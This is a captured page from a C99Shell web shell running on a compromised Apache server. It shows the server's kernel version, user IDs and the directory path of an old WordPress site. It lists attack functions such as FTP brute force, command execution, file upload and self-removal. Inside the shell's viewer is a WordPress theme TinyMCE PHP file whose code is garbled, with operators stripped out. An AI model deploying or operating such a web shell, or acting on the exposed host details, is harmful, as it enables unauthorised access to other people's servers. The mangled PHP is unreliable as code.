!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/themes/kingsize/lib/tinymce/   drwxr-xr-x
Free 179.95 GB of 490.84 GB (36.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tinymce.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @KingSize 2011
 * For the configuration load into the Tinymce@ShortCodes V 1.0
 **/
 
global $page_handle;
class 
kingsize_shortcodes_tinymce {
    
    var 
$pluginname 'kingsize_shortcode';
    var 
$path '';
    var 
$internalVersion 1;
    
    function 
kingsize_shortcodes_tinymce()  {
        
        
// Setring path to editor_plugin.js
        
$this->path get_template_directory_uri() . '/lib/tinymce/';    
        
        
// Inherit the version when tinyMCE plugins are changed.
        
add_filter('tiny_mce_version', array (&$this'change_tinymce_version') );

        
// init process of tinyMCE button control
        
add_action('init', array (&$this'addTinyMcebuttons') );
    }
    
    function 
addTinyMcebuttons() {
        global 
$page_handle;
    
        
//  if the current user lacks permissions
        
if ( !current_user_can('edit_posts') && !current_user_can('edit_pages') ) 
            return;
        
        
// for Rich Editor mode only
        
if ( get_user_option('rich_editing') == 'true') {
         
// || strstr($svr_uri, $page_handle) 
            
$svr_uri $_SERVER['REQUEST_URI'];
            if ( 
strstr($svr_uri'post.php') || strstr($svr_uri'post-new.php') || strstr($svr_uri'page.php') || strstr($svr_uri'page-new.php')) {
                
add_filter("mce_external_plugins", array (&$this'add_tinymce_plugin' ), 5);
                
add_filter('mce_buttons', array (&$this'register_Tinymce_button' ), 5);
            }
        }
    }
    
    function 
register_Tinymce_button($buttons) {
    
        
array_push($buttons'separator'$this->pluginname );
    
        return 
$buttons;
    }
    
    function 
add_tinymce_plugin($plugin_array) {
        if(isset(
$_GET['post_type'])) {
            
$post_type_get $_GET['post_type'];
        }
        
$post_id $_GET['post'];
        
$post get_post($post_id);
        
$post_type $post->post_type;
        
        if(
$post_type == 'page' || $post_type == 'page' || $post_type == 'galleries' || $post_type == 'portfolio'){
            
$plugin_array[$this->pluginname] =  $this->path 'editor_plugin.js';
        }
        
        if(
$post_type == 'post'){
            
$plugin_array[$this->pluginname] =  $this->path 'editor_plugin.js';
        }
        
        return 
$plugin_array;
    }
    
    function 
change_tinymce_version($version) {
            
$version $version $this->internalVersion;
        return 
$version;
    }
    
}

$svr_uri $_SERVER['REQUEST_URI'];
if ( 
strstr($svr_uri'post.php') || strstr($svr_uri'post-new.php') || strstr($svr_uri'page.php') || strstr($svr_uri'page-new.php')) {
//creating object of the kingsize_shortcodes_tinymce and registering the shortcode button
    
$tinymce_button = new kingsize_shortcodes_tinymce();
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0066 ]--